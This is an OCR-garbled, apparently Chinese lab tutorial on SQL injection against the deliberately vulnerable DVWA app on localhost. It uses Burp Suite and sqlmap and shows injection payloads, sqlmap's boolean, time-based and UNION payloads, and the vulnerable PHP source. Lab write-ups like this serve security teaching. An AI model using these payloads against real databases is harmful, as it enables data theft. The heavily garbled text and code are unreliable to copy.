[ Import/ export CA eeriificate | [ Regenerate CA eerificate. |

(@) Intercept Client Requests
{§} Use these seftings to control which requests are stalled for viewing and editing in the Intercept tab.

[ Intercept requests based on the folowing rules:

Add | |Enavled | Operator | Match type Relationship Congition
@ Fie extension Does not match (*gifS{"jpgS pngsi*cssSjsicoS)
Edit (o] or Request Contains parameters.
=] or HTTP method Does not match (getipost)
= .
o And URL s in target scope
up

=

(0 Automaticall fix missing or superfuous new Ines at end of request

— [ Automaticall uodate Content-Lenath header when the reauest is edited

c) WH firefox W E#LEEA 127.0.0.1:8080

[a¥

:% C @ © Firefox  about:preferences neosawe 5@

JanEsas @ FELE el DR se ] Qs

EREHAERARESS
RIS

SRR TG E (W)
EE@K&}E{'&E{&EM
o FmREEEM)
HTTP fE2(X) localhost

AFTE MY SR LRSS

SSL e
ETP ftH
SOCKS 4l

) SOCKSv4 @ SOCKSy5
TERGEMN

—

d) JF/3 burpsuite £:7
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W Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz et =

Burp Project htruder Repeater Window Help

[nasnnnard Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender prmennminnsTusernmmns}
4
ergept | HTTP mslnr” WebSochets history | Options
T

’ 1.sahproxyiklii-&
2 ﬁfi:ntercepiﬁlﬁﬁ;m S [ o

=
Raw Headers Hex

3.mhintercept iz Mintercept is onfAz:

L

5
v

I ES BN B3] o tcnes

e) ¥ H firefox M Vi #% & A A 11 >R

- . (2D
: SQLInjection © X - e

Inerab

=
& [CEENY @® localhost/DVWA-1.9/vulnerabilities/sqli/ B2 e e TY @D & @ ® =
Eyaerus @ Fxre Dsmmn [ wm O feaEse

ow)

i Vulnerability: SQL Injection

Instructions
Setup | Reset DB UserID: 1+ \

_Command Injection | More Information
T
File Inclusion

File Upload

Insecure CAPTCHA
 saLnjection |
XSS (Reflected) |
ESTEEET

DVWA Security
PHP Info i
About

Logout

I

S L.
AL U OTTITUZ £

m

f) 3 burpsuite #E4T sQL FEA
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urp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz - -

Sequencer | Decoder | Comparer | Extender Prmec\nmmnsTUsernmmns}

Burp Project iniruder Repeater Window Help

Dashboard Repeater

i HTTP history | WebSock:

<p istory
£/ RequestiBMipifocalhostsd [127.0.0.1] s
of

" roxyikli-=
g2 S CRE |

POST DVWA-1 8hvullgrabities/sqil HTTPA 1
Host, localhost
User-Agent: Mozila/s 0 (Miqdows NT 6.1; WInG4; x64; rv:65.0) Gecko/20100101 Firefox/s5 0

Accept:texthim applicationihtnl+xml application/sint =0 9,magefwebp 1 q=08_
Accept.Language: zhc:m;h&g#élfﬁ«f@q@gﬁdﬁ,ﬁﬁm‘q%%s,,ﬁ%jq
Accept-Encoding: ozip, deflate

Referer: http:/MocalhostDVVWA-1 Sivunerabilties/sqil

Contert-Type: applcation/x-www-form-urlencoded

Contert-Length 18

Comnection: close:

Cookie: | PHPSESSID: 6
Upgrade-nsecure-Requests: 1

T

id=1 or 1=18Submit=Submt

3dREridiiE

o

o BEE"
g) rhraiR

Vulnerability: SQL Injection - X - - - - T e o
&« C o ) localhost/DVWA-1.9/vulnerabilities/sqli/# BE e e Y IN @D B @ @ =
Eyaersues @ sxre D=mmn [ s [ alEss

0 matches.

ow) |

i Vulnerability: SQL Injection
Instructions.
Setup/ResetDB | UserlD: 1 ~

ID: 1 or 1=t

Brute Force First name: admin
Command Injection Sumang: adnin
ID: 1 or I=1
(il First name: Gordon
File Inclusion Surnane: Brow
File Upload i 1 or 1=L
First name: Hack
Insecure CAPTCHA s T
 SQUimjoction | 1 or 11
SQL Injection (Blind) First nane: Pablo
Surname: Picasso
XSS (Reflected)
ID: 1 or 1=1
XSS (Stored) First nane: Bob

Surname: Smith
DVWA Security
PHRio | More Information
About

Logout

m

h) f# ] sqimap #47 sql TEA
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o ] e o e
ulnerability: SQL Injection « X =

<« ¢ @ @ localhost/D # R R+ N D B ® @® =
Eyaerus @ Fxre Dsmmn [ wm O feaEse

m

i Vulnerability: SQL Injection

Instructions
Setup / Reset DB UserD: 1 ~ [ Submit |

ID: 1

Brute Force First neme: adnin 1. StEsubmitiZi
P Surname: admin
Command Injection

CSRF |
@ OE=s O=is DEs (aiess Ces OGRF -RE SFE  + TEks

0] e X

HAR 3

1 EE wimL css s xHR TR B me ws Hm FEEE [=mEs  *
Cookie

/D_ document html

@ _ 41k DEW1L25KE/550KB  Fe:720EH  DOM

{uenu2.?7> H:“>sglmap —u “http:sslocalhost/DUMA-1.9-/vulnerabilities/sgqlis" —data="\id=1&Subnit=Submit"

——cnokie ecurity=medium; P|
HPSESSID=dlgk3sfihhaaupsglglpmnkhuB6' -—-hatch

http://sqlmap.ory

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsi)
hility to obey all applicable local, state and federal laws. Developers assume no liahility and are not

responsible for any nisuse|
or damage caused by this program

[#*] starting @ 19:38:13 ~2019-82-14~

L 1L 1 resuming back—end DBMS ‘mysgl’
s 1 1 testing connection to the target URL
l=glmap resumed the following injection point(s) from stored session:

Parameter: id (POST>
Type: hoolean-based blind
Title: Boolean—based blind — Parameter replace Coriginal valued

Payload: id=<{S8ELECT <CASE WHEN (6487-6£487> THEN 1 ELSE <SELECT 6184 UNION SELECT ?7823> END>»&Submit=Submit

Type: error—based
Title: MySQL >= 5.8 AND error-based — WHERE. HAVING. ORDER BY or GROUP BY clause (FLOOR>

Payload: id=1 AND <(SELECT 4717 FROM(SELECT COUNT (x>, CONCAT<Bx7170787071 . (SELECT <ELT<4717=4717.1>>>,0x71786bh7671 , FLOORCRANDCD|
#*2>>x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x>a)B&Submit=Submit

Type: AND-OR time-bhased blind
Title: MySQL >= 5.8.12 AND time—hased hlind
Payload: id=1 AND SLEEP{(5>8S8ubmit=8ubmit

Type: UNION gquery
Title: Generic UNION guery C(MULL)> - 2 columns

Payload: id=1 UNION ALL SELECT NULL.GONCAT<{Bx7178787871.0x4h52647a477a4177734468557549734a62726e65784d4ebf 4ad17adabeb 26 d4h42€ b
56696664534e . Bx71706b7671>—— KuOI&Submit=Submit

L 1 [INFO]

ueb server operating system: Windous

webh application technology: PHP 5.4.45%. Apache 2.4.23
hack-end DBMS: MySQL >= 5.4

(NE Ty

<Iphp
if( disset( §_POSTL “Submit’ 1 1 ) [

B s RSt e o SRR e

$id mysql_real escape_stringi Fid !
ore e
TFIERESANE N

Squery = "SELECT first_name, last_name FROM users VEERE user_id = §id:”
fresult = nysql guery( $guery ) or die( “<prer’ . mysal errex() . ' <fprer” )
$ram = mysql_numrows( $result
$1 =0
while( $i < $num ) [

$first = nysql_result( S$result, $i, “first_name” )

$last = mysgl_result( $result, $i. “last_name” )

echa “<predID: {§idi<br />First name: {$firstl<br />Surnams:  [§last]</pred”

Fit:
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Ui B«

BERTIRAC AT B SCAL PR, (B T B AR AR N R BR, P R BB AR N AT A

H

HIGH 2 5

JH 00 S 25 R AR o

8] Vulnerability: SQL Injection - X |

<« ¢ o
Bvaesus @ siFre e [

Home
Instructions
Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA
 SQLinjoction |

SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security
PHP Info
About

Logout

BE DVWA %4251y High

@ localhost/DVWA-1.9/vulnerabilities/sqli/

. R v INn @O 8 @
—)
D)
Vulnerability: SQL |nj}ﬁ°|1,;-ﬁi$i§1§}ﬁ¥windowlil
Click A
s 1 @ SOL Injection Session Input : Damn Vulnerable Web Applicatic... (- =) | s

First name: adnin
Surname: admin

@ localhost/DVWA-1.9/vulnerabilities/sqli/sessic B == oo | =
More Information || ' !~ o
3. mdsubmitiZEiR eIV

EEEEE
R0

2MESpayload

B Vulnerability: SQL Injection - X -
<« ¢ @ @ localhost/DVWA-1.9/vulnerabilities/sqli/ BE o n oo e
Eamesis © swrks e B
D\WA)
Home Vulnerability: SQL Injection
Instructions Click
Satup / Reset DB .
ID: 17 or 1=1 #
First name: admin
Brute Force Surname: admin
Command Injection m: 1 or 1=1 2
First name: Gordon
CSRF Surname: Brown
File Inclusion o6 P oz e O C— BERHAREE

File Upload
Insecure CAPTCHA
SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info
About

Logout

c) AR

First name: Hack
Surrame: Me

I: 17 or =1 #
First name: Pablo
Surname: Picaszo

ID: 17 oor 1=1 #

First name: Fob
Surname: Smith

More Information
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<?php
if( disset( $_SESSION [ "ad” 1 ) ) |
4 = § sESSTOm[ Tid - o \ .
e Lt 147 il sessionch$REL
Iy . B ==TAL
$query = “SELECT first_name, last_name FRON users VHERE user_id = '$id’ LINIT 1’—’— g}%?ﬁjﬁsessmnq‘];&ﬁ  FHEFRER
result = nmysql_query( Squery ) or die( °<predSomething went wrong.<(/pre> ). SERET A, PRS2SR sql
1E5a]
frum = mysql_mmrows{ fresult
31 =

while( $i < fmm ) |
§first = mysql result{ $result, §i, “first name” )
$last = mysql_result{ $result, %1, “last_name” J:
echo “<prerID:  [idi<br AFirst name: {§firsti<br /¥Surname: {$last}</prer’:
Fa:
mysql_close()
}

R
i I session HAREL, (HAFBOSFE P ARAFAL T AL P8, 1E sql PAFAE limit 1 {HF]
LIE I § 5 K rh e R A AT 2 s

4) BREW
a) M BUCED OB SRR (5B (7 SaL HH 2 o fr et
b)  XFHCHE PR TR e

c) AR O Bl AT #
d) G web 5% & IR SAIEd P AR AR L

7. SQL B
1) IRIABER

SQL HVER AR ANBE R HA AN [m] R HI R A7 AE SQUIEAR, Bedi A il $e 52 i 48 4 1F
SRALEZ i S 45 SRR A& 75 A74E sQUiE A5 20

2) WA TR
firefox M Wi 4%, burp suite
3) MRk
A. LOW ZHl

a) WH DVWA %42 5]N LOW
b) JE3) burpsuite 7 I JEACFE
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Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surfenyz - e ¥ 1
Burp Project Intruder Repeater Window Help

[ Dasnboars | Taret ntruser | Repeater | Sequsncer | Decoder | Gomparer | Extonver | Projectoptions | user options |
intercept | HTTP higfry | WebSockets history
= D o= _ 0

Q@) Proxy LéeLm\iprox)L%]m ~ _(Iﬁﬁopﬂonsﬂ]ﬁ{
::"8;} Burp Proxy uses \Btenerst?éwe incgming HTTP regues}s fro

gq% wser. You will need o Configure your browser 1o use 0ne of the Isteners as s proxy server
SR RUNNING S e
Add ] Runr\n‘ | iterface | Invisible | Redirect | certficats
@ [127.00.1:8080 Per-host
Edit

Remove >

Each installation of Burp generates fts own CA certificate that Proxy fisteners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another instalation of Burp.

[ Import / export CA certificate. ] [ Regenerate CA certificate ]

(?) Intercept Client Requests
{@} Use these seftings to control which requests are stalled for viewing and editing in the Intercept tab.

(@ intercept requests based on the following rules:

Add ] Ensbled | Operator | Match type Relationship Condtion
@ File extension Does not match (*gifSi"jpgSi*pngSH casSijsSiticas)
Edit o or Request Contains parameters.
O o HTTP method Does not match (getpost)
(Lromove J >
SR URL Is in target scope
ue
Down_|

[ Automatically fix missing or superfuous new lines at end of request

— 1 Automaticall undate Content-Lenath header when the reouest is edited

c) WH firefox W2 CEEA 127.0.0.1:8080

B

<_ - C @ © Firefox  aboutpreferences

nohw® 5@ =
Bxuermss @ wrte B B e

QsaEss

REHAERMERSE
EFBHIEREH(Y)
EFE RS RIS EW)

@Eﬁﬁéﬁf&&iﬁM

o FmREREM

HTTP £ (X) localhost

AFE MY =R LRSS

SSL I
ETP (38
SOCKS ZEHL

SOCKSv4 ® SOCKS v5
TENEE(N)

d) %M burpsuite #4185
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e)

f)

1 Burp Suite Professional v2.0.11beta - Temporary Project - licensed ta surfengz e = - a T i)

Burp Project htruder Repeater Window Help

Dashboard Prox R Sequencer | Decoder | Comparer | Extender Pm}ennmmnsTuMnmmns}
Intercept | HTTP history | WebSackets history | Option

LR FroxyiZelii—=

Forvira Drop Interceptjs off Action Comment this item @

Raw Fprams  Headers Hex

>

3. maifilnterceptifiAlntercept is of fA7x
2.2 Interceptif i<

=
v

Q@ EJ EJ [zj “ _ ﬂmatches_
{5 FH firefox 30 2% K B 115 2K
L e ——————————————

& C @ @® localhost/DVWA-1.9/vulnerabilities/sqli_blind/ B2 e e TY @D & @ ® =
Eyaersus @ sxre Dsmmn [ s [ aEse

i Vulnerability: SQL Injection (Blind)

Instructions
Setup | Reset DB User ID- 1 [Submit | 42, ;i Hsubmiti2aziasik

N
ESEE— More Information\
::):r::mnd Injection LI NS
File Inclusion
File Upload
Insecure CAPTCHA
S0 inoction (Biind)_|

XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info i
About

Logout

m

Internet

{5 H burpsuite 4T saQL i F A BT
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g)

h)

I Burp Suite Profe: X TTemporary Project - licensed to su

Burp Project intruder Repeater Window Help

Dashboard | Target | Proxy ggntruder | Repeater | Sequencer | Decoder | Comparer | Extender Prn)ec\nmmnswusarnmms]

tercept || HITR istory | websockdgstory | Optons

| Fiter: Hiding ’; image and general binary cnﬂxeﬂﬁip roxyﬁlﬁ{

CirR
Send to Sequencer

Send fo Comparer (request)

Send to Comparer (response)

# a H# | Method | URL | Params | Edited | Stalus | Length | MMEtype | Extension | Tite Comment |sst |p Cookies
49 p:iflocathost GET [DVWA-1 Sivulnerabiliies/sqli_blind/ 200 5472 HTML Vulnerability: SOL Injecti. 127.0.01
50 ttp: localhost GET /A-1 ivuinerabilties/sqii_blind/?id. v 200 5514 HTML QL Iniecti 127.0.01
1.9hvu...gli_t
2.3ehttp historyHsli& Ao e
Scan
3%*%%* J .‘ﬁi%‘lﬁ]‘ﬁ%]’} E%Ui Send to Intruder Chriel

4.)%4%send to repeaterfTFF

B

s Show respanse in browser TS
Request in browser >
Reguest | Response Engagement tools. >
T Shaw new history window
Add comment
GET DVWA-1 Sfwuinerabilties/sci_blind7id=1 8Submit=Submt HTTPA 1 it D
Host localhost L e r
User-Agent: Mozila/s 0 (Windows NT 6.1; Wing4; x64; rv:65.0) Geckor20100101 Firefox/5.0 2zEEED
Accept: textintmi application/xitml+ml applicationsanl =0, magewebp ;g =0.8 Clear history
Accept-Language: zh-CN,zh; 4=0.8,zh-TWigg=0.7 zh-HIG 4=0.5,n-LS; g=0.3 Copy URL
Accept-Enceding: gzip, deflate ]
Referer: hitp:flocalnostDVVVA-1 Siuinerabilties/sdi_bind
Copy inks
Connection: close
Cookie:  PHPSESSID=6hfg: ey
Ungrade Insecure-Requests: 1 Proxy history documentation

rch term

o BE@E
% | Decoder #iHLE Y, payload

i Burp Suite Profe:
Burp Project intruder Repeater Window Help

[Dasnnnaru Target | Proxy | intruder | Repeater | Sequencer m«mkcnmuamr Extender Prn)ﬁc\nmmnsxusarnmmnsl

for1=1] \
L.saDecoder

2R

@ Text

o

-

Decode as .. -

3 =dEEncode asiFiHEEURI

%31%20%61%72%20%31%34%31

A3t LR #dE 34T URL HdE 9wt payload
® 1lorl=1

® land1=2

® 1'or'l'="1

([ ]
fait ] H R R AT sQL E NI
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W Burp Suite Professi emparary Pro]
Burp Project intruder Repeater Window Help
[ Dashboard | Target | Proxy | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options ‘[ User options ]

Bl

1.mairepeatenitIfi£

Cancel <|r >|[r Target: nttpilocainost 7 ®
= re s e
. 4. mathgol&if&isis® Response
M =
Raw | Patams | Headers = Raw | Headers | Hex | HTML | Render
GET DYWAA esisql L f2472%20%31 it it HTTRI 1 a <fdiv> I
Host: localnost r r

User-Agent: Mozilals 0 (Windows NT 6.1; WinG4; x64; rv:65 1) GeehQi20100101 Firefox 65 0
Accept: textihtml application/xhmi+xml applicationanl g=0.9 image weby, ' q=0.8
Accept-Language: 2h-CN,zh 0=0.8,2h-TWg=0.7 zh-HIG 4=D0.5 n-US; 4=0.3 gy St s

Accept-Encoding: gzip, deflate ?r%ﬁlﬁ ;}Zﬁﬁjﬂ Payload
Referer: hitp:flocalhostDVVWA-1 Shuinerabiltiesisdi_blind

Connection: close

\ E34—
Cackie: security=low; PHPSESSID=6N1g977uuv41 kdrvabrma2eems Send to Decoder Briz = 1)V B
Upgrade-Insecure-Recuests: 1

<t clss=vnerab] o ST EFTFHRHISER |

Request in browser

<dlivid='ma  Scan

Send to Intruder Ctrisl

Send to Repester CirieR

<dliv class="body_padded|
<hi>Vulnerability: §_Send {0 Sequencer

v

<lorm acon="# o
ML:, o Engagement tools. » J;ﬁzksend to
user ! Capy URL comparerfziHZ]
<input | Copy as curl command \ A
dnpt| e RIS
- oy o e
Save item
<Horms Save entire history

<pre=Uiser ID e Pastc URL as request
v Add to sie map

<h2>More Informat| ©01/97 SEECin
b cut

<liv<a href="http|  Copy lsCurttyravie ws/SOPONT PTEE i
Paste 1P76E htmi<ia><li>
<lizca href="Ttp L _injection”
. plank'>httpssfieq MeSSage editor documentation

b
L

<liz<a href="Titp|  Burp Repeater documentation Hnjection-cheatsheet-okus

Omaiches  (7) B B u User D1 0 matches

5,514 bytes | 69 mills

e &

Done
—

G AR BIRAE SO A IV payload BEAT I SKERAE, JFRIE S HLEME
i) A B R g S B R /1 R S AUZ A and AT or 2 [ AR M 45 AT LA

Burp Suite Profe:
Burp Project intruder Repeater Window Help

nal v po

[Dmhnam Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender Prn)edelmnsTUs:rnmnns]

Comparer

This function lets you do a word- or byte-level comparison betw een different data. You can load, paste, or send data here: from other tools and then select the comparison you want to perform.

Select ftlem 1
# | Lengtn Data | paste |
B 5514 HTTP/1.1200 OKDate: Fri, 18 Feb 2019 02:41:25 GNTServer: Apgener2 4.23 (Wna2) OPenSSLI1.0.2] PHPIS.4 45X Powered-By: PHPIS 4 4SExpires: .. | ———
10 5514 HTTP/1.1 200 OKDate: Fri, 15 Feb 2018 02:41:38 GTServer: Apathg2.4.23 (Win32) OpenSSLI.0.2j PHPIS.4.45X Powered By: PHPIS 4 45Expires )
i 514 HTTP/1.1 200 OKDate: Fri, 15 Feb 2013 02:41:47 GMTServer: Apact (Win32) OpenSSLI1.0.2j PHPIS.4.45X-Powercd-By: PHPIS 4 45Expires:
12 ss21 HTTP/1.1 404 Nof

ndDate: Fri, 15 Feb 2019 02:41:58 GHTServer: Apach@ 4 23 (Win32) OpenSSLI1.0.2] PHP/S 4 45X-Powered-By: PHPIS. 4 45E ﬂ]

Clear

HERFTEZEA T Eorfland
WEREE R PR orfland

Select ftem 2: / /
#

| Lengtn Data.
B s514 HTTRI.1 200 QfDate: Fri, 15 Feb 2019 02:41:25 GMTSer acher2.4.23 (Win32) OpenSSLI1.0.2 PHPIS.4 45X Powered-By: PHP/S 4 45Expires:
10 5514 HTTPH.1 200 fDate: Fri, 15 Feb 2019 02:41:38 GMTSer#T. Apacher2 4.23 (Win32) OpenSSLI.0.2j PHPIS 4 45X-Powered-By: PHPIS 4 4SExpires:
1 s514 HTTPI1.1 20@DKDate: Fri, 15 Fab 2019 02:41:47 GMTServer: Apachai2.4.23 (Win32) OpenSSL/1.0.2] PHPIS 4 45X Powered-By: PHPIS 4 4SExpies:
12 ssa7 HTTPA.1

Hot FoundDate: Fri, 15 Feb 2019 02:41:58 GMTServer: Apachel2.4.23 (Win32) OpenSSLI1 0.2 PHP/S.4 45X-Powered-By: PHPIS.4.45E...

AhwordsHE TR

Compare ..
Words
[ myes |

i) ot
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Word compare of #1.
Length: 5,514 @ Text O Hex Length: 5,527
YOI ACTn="¥ Tetoa=" T
<= =
User D:
<input type="text" size="15" name="id">
<input type="SUbIIr name="Submit" valug="Submir'> <div class="vulnerable_code_area>
. <form action="#" method="GET">
s — . <
P Hor @ AR User .
grevuser 0 Bl e catsvass.<pre> ] H3TiBtHand SR AEATFIE
<idiv>
<ip>
<hZ=Hore hformation=<i2> R
<ul \ g
<li-<a href= uriteam 1PTSE htmi" <pre=User D, the database. </pre=
target="_blank">htip, urteam 1RTBE himic/a></l sidiv=
<li~<a href="htip:/hidere fer.com/7itps://en. wikipedia.org/wik/SQL_injection”
target="_blank">htips:/ien. wikipedia oro/wik/SQL_injection=/a» <l <h2=More Information</hz>
<iiz<a hrefe’ mavituna. Hinjection-cheatsheet-ok ul
target="_blank® mavituna Linjection-cheatsheet. <i<a hrefe’ urteam 1PTGE NI
- direa target="_blank"http: riteam 1PT6E html/a=</li=
href-" eticheat sheevsal injection-cheat.sheet” <ii-<a href="htip:/hiderefer. comZhitps: en wikipedia.org/wikiSQL_injection”
target="_blank cticheat.sheetsal injection-cheat target="_blank"»ttps:/ien wikipedia.org/wikiSQL_injection=ias</ii-
<lis<a href="http://hidere fer com/7https:/fviww owasp org/ndex php/Blind_3QL_Injection” <lb><a href= mavituna kinjection-cheatsheet-ok
target="_blank">hHps:/w/ww.owasp.org/index ppBing_SQL_injections/a»<fi= target="_blank® mavituna injection-cheatsheet
<li=<a href="http://hidere fer com/Zhttp:/ibobby-tables. com™ <P<a
target="_blank"htip /ibobby-tables. comisiaz</ii- e eticheat-sheetsal Hnjection-cheat-sheet”
s farget="_blank® elfcheat-sheetisah J-injection-cheat.
<idive <ii<a href="htip:/lhiderefer. com/Zhttps: ivw w owasp.orgindex.php/Blind_SQL_ijection”
target="_blank™>nitps: /v w.0wasp.orgindex php/Blind_SQL._Injection<ia»</li>
<br Jocbr <ii-<a href="htipiihiderefer.comZhttp /ibobby-tables. com”
target="_blank"shttp://bobby-tables comi</az</ii
<iul>
<tdiv> <fdiv>
<div class="clear> <br fo<br />
<fdiv>
<div id="system_info"> <ldiv=
<input type “View Help” class="popup_button”
onCiick="javascript popUp( "/ /vuierabities/view_neip. php?id=sall_bindasecurty=low' J'> <nput type="bution” value="view |y v cass="clar> ]

Key: iaed [GEEHRH oea

O syne views

EIXT R B R ARG b, 248 or 1SRN S R B R B 775, 2% and 1HRNEE R
EREIEAAFLE, I AIBAFE sQL A
k) {5 H sqlmap AT,

Burp Project htruder Repeater Window Help

[Dmhnam Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender Prn)edelmnsTUs:rnmnns]
Intercept h'l'l'an:ryIWehSncketshistDry Oplions

| Fiter: Hiding CSS, image and general binary content |®
\ Method \ URL \ Params. \ Edited. Status \ Length \ MIME type | Extension | Titie Comment | SSL \ P Cookies | Time:
jocalhost GET /DVWA-1.9/vuherabilties/sali_bing/ 200 s472 HTML Vuherabilty: SL injecti... 127.00.1 10:1129 18
calhost GET JDVWA-1 Sivulnerabities/sqi_bindi7id. v 200 5514 HTML Vuinerabilty: SQL inje 127.001 10:14:20 15
ocalhost GET IDVWA-1 Sivulnerabities/sqi_bindi7id. v 04 HTHL Vuinerabity: SAL injecti 127.0.0.1 10:21:19 15
locahost GET JOVWA-1 Sivuinerabilties/sqi_blindi?id. v 04 HTML. Vuherabilty: SQL hjecti 127001 10:23115 15
ocalhost GET JOVWA-1 Sivuinerabilties/sali_blindi?id. v 00 HTML. Vuierabilty: SOL injecti 127001 10231915
jocalhost GET /DVWA-1.9/vuherabities/sai_bindd... 04 HTHL. Vuierabilty: SL injecti... 127.00.1 10:51:1415
ocalhost GET JDVWA-1 Sivulnerabities/sqi_bindi7id. v 404 L Vuinerabity: SQL injecti 127.00.1 10:51:24 15
jocathost GET IDVWA-1 Sivuinerabilties/sqli_blind/?id. v 404 5527 HTML ] g;ﬁﬁ Eiﬁnmmy S0L hnjecti 127.00.1 10:51:30 15,
v .
Request | Response
Raw | Porams | Headers | Hex
GET [DVWA-1 Svuinerabilties/sali_blind 7ic=1 2Submi=Submit HTTPA 1 B
Host: localhost r

User-Agent: Mozila/5.0 (Windows NT 6.1; Wing; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: textihtml applicationx il applicationsxm}g=0 9 inage webp =08
Accept-Language: 2h-CN,2h g=0.8,2h-TWiq=0.7 2n-HI;
Accept-Encoding: gzip, deflate

Referer. Hitp:flocalhostDVWA-1 Sivuinerabilties/sdli_blind/

Connection: close /Z‘E%UCOOI(IGE;§~
Cookie: security=low, PHPSESSID=6hfga77uuv41 kdvelbrma2cem3

Upgrade-Insecure-Requests: 1

L
v

0 matches
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=X C:\windﬂws\systemiiZ\cmd.exm [ o e S

Cvenv2.?7> H:ivrsglmap —u “"http:rslocalhost~DUUA-1.%?~/vulnerabilitiesssqli hlinds7id=1&Subnit=Submit" ——cookie="security=low; PHPSESSI

ID=6hfg?77uuvdi kdrvdbrngZcen3"” ——bhatch

http:/ssqlmap.ory

[*1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. It is the end user’s res
hility to obey all applicable local. state and federal laws. Developers assume no liability and are not responsible for any m
or damage caused by this program

starting B 11:87:42 ~2819-82-15~

L ing back-end DBMS ‘mysgl’
L ing connection to the target URL
lsglmap resumed the following injection pointd{s)> from stored session:
Parameter: id (GET>
Type: boolean—based hlind
Title: AND boolean-hased blind — WHERE or HAVING clause
Payload: id=1" AND 1498=1498@ AND *1CQH’ =’ 1CQH&Submit=Submit

Type: AND/OR time—based hlind
Title: MySQL >= 5.8.12 AND time—based blind
Payload: id=1' AND SLEEP(5> AND ’‘o0ZNc’='o0ZNc&Submit=Submit

1 [INFO1
ueh server operating system: Windouws
web application technology: PHP 5.4.45, Apache 2.4.23
[hack—-end DBMS: MySQL »>= 5.8.12
s 1 1 fetched data logged to text Files under ’C:serswuke.sglmapSoutput™localhost’

[=] ending B 11:87:49 ~2019-82-15/

{venu2.?> H:x>

) AR B S
<php

iff deset( $GET[ 'Submit’ ] ) ) {

$id = $GET[ "id 1

S R SRR e g |
Fzetid = "SELECT first_name, last_name FROM uszers WHERE wuser id = “§id ;" P___ g}-ﬁfﬁ_ﬁj"{)j\yi}-’%ijsqhm =
fresult = mysql_query( Fgetid I EFI

Srum = @mysgql_romrows( Fresult .
if( fram > o0 ) [ 4@

g2 MES[EH=l 3 = T4t
echo ' <predUzer ID ewistz in the database. </pred” ﬁj%?ijnifalx#ﬁuﬁ ! $E$%§—F‘D%
] §§12§§5317]?é::§§%

else |

headsri §_SERVER[ ’SERVER _PROTOOOL’ 1 . 7 40 Not Found® )

echo “predUzer ID is MISSING from the datshase. </pred’;
i

my=ql_cloze () ;
i

LR

R EEP ERCHIES] sqQu AT, IRAAAE T RSRANEN, X AL,
BEAT FA B R L AR &N A5 R RS I WoR g R, AL TEVA IR YR S S R AR A
A HEAT R T AAAE sQL A, AREERAEETT R

B. MEDIUM % 5|

a) &HE DVWA L4254 Medium
b) J&3) burpsuite I JEACHE
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Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surfenyz - e ¥ 1
Burp Project Intruder Repeater Window Help

[ Dasnboars | Taret ntruser | Repeater | Sequsncer | Decoder | Gomparer | Extonver | Projectoptions | user options |
intercept | HTTP higfry | WebSockets history
= D o= _ 0

Q@) Proxy LéeLm\iprox)L%]m ~ _(Iﬁﬁopﬂonsﬂ]ﬁ{
::"8;} Burp Proxy uses \Btenerst?éwe incgming HTTP regues}s fro

gq% wser. You will need o Configure your browser 1o use 0ne of the Isteners as s proxy server
SR RUNNING S e
Add ] Runr\n‘ | iterface | Invisible | Redirect | certficats
@ [127.00.1:8080 Per-host
Edit

Remove >

Each installation of Burp generates fts own CA certificate that Proxy fisteners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another instalation of Burp.

[ Import / export CA certificate. ] [ Regenerate CA certificate ]

(?) Intercept Client Requests
{@} Use these seftings to control which requests are stalled for viewing and editing in the Intercept tab.

(@ intercept requests based on the following rules:

Add ] Ensbled | Operator | Match type Relationship Condtion
@ File extension Does not match (*gifSi"jpgSi*pngSH casSijsSiticas)
Edit o or Request Contains parameters.
O o HTTP method Does not match (getpost)
(Lromove J >
SR URL Is in target scope
ue
Down_|

[ Automatically fix missing or superfuous new lines at end of request

— 1 Automaticall undate Content-Lenath header when the reouest is edited

c) WH firefox W2 CEEA 127.0.0.1:8080

B

<_ - C @ © Firefox  aboutpreferences

nohw® 5@ =
Bxuermss @ wrte B B e

QsaEss

REHAERMERSE
EFBHIEREH(Y)
EFE RS RIS EW)

@Eﬁﬁéﬁf&&iﬁM

o FmREREM

HTTP £ (X) localhost

AFE MY =R LRSS

SSL I
ETP (38
SOCKS ZEHL

SOCKSv4 ® SOCKS v5
TENEE(N)

d) %M burpsuite #4185
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! Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surfenqyz | e = . " - T i)
Burp Project hiruder Repeater Window Help
Dashboard Prox m R Sequencer | Decoder | Comparer | Extender | Project options. Tu:m options. }
Intercept | HTTP history | WebSackets history | Option
LR FroXyzelii—=
Forvira Drop Interceptjs off Action - - @
Raw  Farams  Headers Hex

3. maifilnterceptifiAlntercept is of fA7x
2.2 Interceptif i<

>

o @EE__
e) fdiH firefox Y A% A AL A I 3K
[®] Vulnerability: SQLInjection | X ~

o | ]
&« C o @ localhost/DVWA-1.9/vulnerabilities/sqli_blind/ B2 e e gY In @ & @ @ =
sumEmss @ wELe Seann [Brsen Deaess

>

T Vulnerability: SQL Injection (Blind)
Instructions.
Setup / Reset DB userm:'w -

Eeee— T
_Command Injection | ore Information
e LaseiEaE
EEE
Insecure CAPTCHA

SQL Injection

 sal njection Biindg) |

2 AR ARk

m

XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info
About

Logout

f) M F burpsuite #E4T sQL EA K H
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g)

h)

W Burp Suite Profe:
Burp Project intruder Repeater Window Help

nal v20.11beta - Tempora

Dashboard

55
| Fiter: Hidin lss‘ image and general binary content

T~ |®

# ﬁs« Method | URL Params | Edited | Status | Llength | MMEtype |Extension | Tite Comment |ssL P Cookies
75 Jnitpiocanost GET VA1 i_bing/ 200 610 HTHL Vuinerabilty: SQL hnjecti... 127.00.
